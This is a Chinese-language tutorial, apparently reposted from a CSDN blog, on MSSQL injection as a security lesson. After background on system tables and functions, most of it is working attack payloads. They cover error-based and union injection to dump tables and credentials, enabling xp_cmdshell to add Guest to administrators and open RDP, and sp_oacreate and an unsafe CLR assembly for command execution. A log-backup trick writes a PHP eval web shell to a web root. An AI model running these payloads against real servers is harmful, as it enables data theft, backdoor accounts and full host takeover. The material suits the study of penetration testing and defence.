0


网络安全进阶学习第十四课——MSSQL注入

文章目录


一、MSsql数据库

强类型数据库,会把数字和字符严格区分的。


二、MSsql结构

有四个默认的数据库:

  • 1、master(重点) 保存着SQL Server实例的配置、权限、数据库定义和其他需要的信息。
  • 2、model 模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本数据库,并更改成你创建数据库时所用的名。
  • 3、msdb 代理的数据库,用于配置警报使用 SQL Server 代理和预定作业等。
  • 4、tempdb 暂时存储数据的,用于存储系统运行过程中临时产生的数据,例如用户定义的表、索引等。

三、MSsql重点表

1、master 数据库中的Sysdatabases 表

Sysdatabases 表只保存在 master 数据库中,这个表中保存的是

所有的库名

,主要字段有:

name

(数据库名)

2、Sysobjects 表

所有数据库内都有此系统表,无论是用户自建的数据库还是系统默认的数据库。该表存放着

当前数据库所有的表名

(类似MySQL中information_schema数据库中的tables表)。主要字段有:name(表名)、id(表 ID)、xtype(创建的对象)。

xtype='U'

,代表是用户建立的表。

  • 和MySQL的数据库路径方法有区别: Mysql:information_schema.tables Mssql:master.dbo.sysobjects

3、Syscolumns 表

所有数据库内都有此系统表,无论是用户自建的数据库还是系统默认的数据库。
该表存放着

当前数据库所有的字段名

。主要字段有:name(分别是字段名称)、id(表 ID)。其中的 ID 是用 sysobjects 表中得到的表的 ID 号。


四、Mssql常用函数

函数函数作用db name()返回当前数据库的名称host_name()返回计算机名称current_user返回当前数据库的用户名user数据库用户substring()字符串截取函数@@version查看数据库版本char()ASCII 转字符函数cast(text as type())字符类型转换,如果转换失败会将 text 结果报错显示在页面上object_id()根据表名返回数据库表名 IDobject_name()根据 ID 返回数据库表名col_name(object_id,column_id) 举例:Col_name(object_id(‘users’),2)返回指定表中指定字段(列)的名称

五、Mssql的报错注入

由于Mssql是强类型数据库,一旦数据类型不匹配就会报错。这时我们就可以利用

四则运算

,让

整型数据和字符型数据

之间来进行运算,例如1+user。

举例POC:

'or 1=convert(int,@@version)--

六、Mssql的盲注

跟mysql差不多,

区别在于使用的函数不同

常用以下函数进行盲注:

  • 1、patindex(pattern,string) #返回某个字符或正则在某个字符串中第一次出现的位置
  • 2、replace(string,substring1,substring2) #将字符串中出现的某个子串替换成另一个字符串,就是将在string中出现的substring1替换成substring2。 举例:replace(‘1-a 2-b’,’-’, ’:’),返回结果是:1:a 2:b
  • 3、replicate(string,n) #指定的次数复制字符串 举例:replicate(‘abc’,3),返回结果是:abcabcabc
  • 4、stuff(string,pos,delete_length,insertstring) #先删除字符串中的一个字串,再插入一个新的子串作为替换 举例:stuff(‘xyz’,2,1,’abc’),返回结果是:xabcz
  • 5、upper(string)和lower(string) #将字符串转换成大写或小写
  • 6、rtrim(string)和ltrim(string) #删除字符串中的尾随空格或前导空格
  • 7、charindex(expression1 , expression2 , [ start_location ]) #返回字符串中指定表达式的起始位置,若查询到就返回位置,若没有查询到就返回false。另外,charindex的参数不区分大小写。

七、联合注入

1、获取当前表的列数

id=-1 order by 4--+

4不报错,5报错

2、获取当前数据库名

id=-1 union all select 1,2,db_name(),4--+

这里返回:mozhe_db

3、获取表名

id=-1 union all select top 1 1,2,name,4 from mozhe_db.dbo.sysobjects where xtype=’U’--+

这里返回:manage

假如要获取下一个表可以使用老方法,直接再where后面添加:and name !=’manage’,就可以弹出下一个表名

4、获取表id

id=-1 union all select 1,id,3,4 from sysobjects where name=’manage’--+

这里返回:5575058

5、获取表字段名

id=-1 union all select top 1 1,2,name,4 from syscolumns where id=5575058 --+

这里返回:username

假如要获取下一个字段名可以使用老方法,直接在where后面添加:and name !=’ username’,就可以弹出下一个字段名

6、获取manage表中username字段的数据

id=-1 union all select top 1 1,2, username ,4 from manage --+

这里返回:admin_mz

假如要获取下一个数据可以使用老方法,直接在后面添加:where username !=’ admin_mz’,就可以弹出下一个字段名


八、注入流程

1、判断权限

如果页面回显正常则为正确,否则报错。举例POC:
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) –

2、获取当前数据库

and 1=(select db_name()) –

3、获取当前数据库内的所有数据表

and 1=convert(int,(select quotename(name) from 数据库名.dbo.sysobjects where xtype=‘U’ FOR XML PATH(‘’))) –

注意:

convert函数是强制转数据类型的。
Quotename函数的主要作用就是在存储过程中,给列名、表名等加个[ ]、’’等以保证sql语句能正常执行。
FOR XML PATH 是将查询结果集以XML形式展现,将多行的结果,展示在同一行。

4、获取当前数据库内的指定数据表的所有字段

and 1=(select quotename(name) from 数据库名.dbo.syscolumns where id =(select id from 数据库名…sysobjects where name=‘指定表名’) FOR XML PATH(‘’)) –

5、取指定数据库内的表数据内容

and 1=(select top 1 * from 指定数据库.dbo.指定表名 where排除条件 FOR XML PATH(‘’))–


九、getshell

1、mssql权限

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等system。是mssql的最高权限
  • db权限:文件管理,数据库操作等 users-administrators
  • public权限:数据库操作 guest-users

2、SA权限开启xp_cmdshell 获取主机权限

1)判断xp_cmdshell 是否打开

select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell' 

在这里插入图片描述
返回1是打开;返回0是关闭

  • 如果xp_cmdshell权限没有开启,我们可以执行下面命令开启,下面四步,使xp——cmdshell开启
execute('sp_configure "show advanced options",1')#将该选项的值设置为1execute('reconfigure')#保存设置execute('sp_configure "xp_cmdshell", 1')#将xp_cmdshell的值设置为1execute('reconfigure')#保存设置execute('sp_configure')#查看配置execute('xp_cmdshell "whoami"')#执行系统命令
  • 或者:
exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;exec sp_configure;exec xp_cmdshell 'whoami';
  • 可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456'#给guest用户设置密码exec xp_cmdshell 'net user Guest /active:yes'#激活guest用户exec xp_cmdshell 'net localgroup administrators Guest /add'#将guest用户添加到administrators用户组exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'#开启3389端口
  • execute(‘sp_configure “show advanced options”,1’) #将该选项的值设置为1在这里插入图片描述
  • execute(‘reconfigure’) #保存设置在这里插入图片描述
  • 虽然用第一步判断xp_cmdshell是否打开返回为1,但是依然无法执行命令。使用execute(‘xp_cmdshell “whoami”’) 此命令默认被禁止在这里插入图片描述

2)然后通过上述的execute步骤,将xp_cmdshell开启

在这里插入图片描述

3、SA权限使用sp_oacreate 执行系统命令

使用sp_oacreate的前提:sql server数据服务未降权

我们可以借助sql server中的com组件sp_oacreate来执行系统命令。

1)下面的命令可以查看sp_oacreate 是否被允许:

declare@shellintexec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'whoami'

在这里插入图片描述

2)开启sp_oacreate

EXEC sp_configure 'show advanced options',1;//类似于exe('sp_configure' "show advanced options",1)RECONFIGUREWITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGUREWITH OVERRIDE;

在这里插入图片描述
由此可以看出,sp_oacreate 命令无回显

3)执行添加用户命令 进行测试

declare@shellintexec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack Password@ /add'--上面sql server语言固定,最后一行是执行的系统命令

4、SA权限使用CLR 执行系统命令

创建CLR有两种方式:

  • 使用DLL文件进行创建
  • 使用文件16进制流进行创建

启用CLR功能

exec sp_configure 'show advanced options',1;RECONFIGURE;Exec sp_configure 'clr enabled',1;RECONFIGURE;

如果存在权限问题,执行下面命令

alterdatabase[master]set TRUSTWORTHY on--后续要导入不安全的程序集,因此将数据库标记为安全EXEC sp_changedbowner 'sa'
导入程序集

CREATE ASSEMBLY [WarSQLKit]AUTHORIZATION[dbo]FROM 十六进制数据 
WITH PERMISSION_SET = UNSAFE;CREATEPROCEDURE sp_cmdExec @Command[nvarchar](4000)WITHEXECUTEAS CALLER 
AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
执行命令

EXEC[dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec 'whoami'
删除程序集

DROPPROCEDURE sp_cmdExec;DROP ASSEMBLY [WarSQLKit];

5、DB_owner权限 LOG备份Getshell

无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马

1)sql server常见的备份策略

  • 每周一次完整备份
  • 每天一次差异备份
  • 每小时一次事务备份

2)利用前提

  • 目标机器存在数据库备份文件。也就是说,如果我们利用test数据库,那么要求test数据库存在数据库备份文件,而且恢复模式得是完整模式
  • 知道网站的绝对路径
  • 支持堆叠注入

3)注入代码

alterdatabase 数据库名 set RECOVERY FULL;#修改数据库恢复模式为 完整模式createtable cmd (a image);#创建一张表cmd,只有一个列 a,类型为imagebackup log 数据库名 todisk='C:\phpstudy\WWW\1.php'with init;#备份表到指定路径insertinto cmd (a)values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e);#插入一句话到cmd表里,十六进制为一句话木马<?php @eval($_POST['x']);?>backup log 数据库名 todisk='C:\phpstudy\WWW\2.php';#把操作日志备份到指定文件droptable cmd;#删除cmd表

6、综述

利用日志备份,类似于mysql的在日志中写入一句话木马。

修改数据库恢复模式为完整模式,然后创建一个表,备份表到指定路径

在表中插入一句话木马,将日志文件备份到我们知道的路径,最后删除创建的表


标签: web安全 学习

本文转载自: https://blog.csdn.net/p36273/article/details/132142108
版权归原作者 p36273 所有, 如有侵权,请联系我们删除。

“网络安全进阶学习第十四课——MSSQL注入”的评论:

还没有评论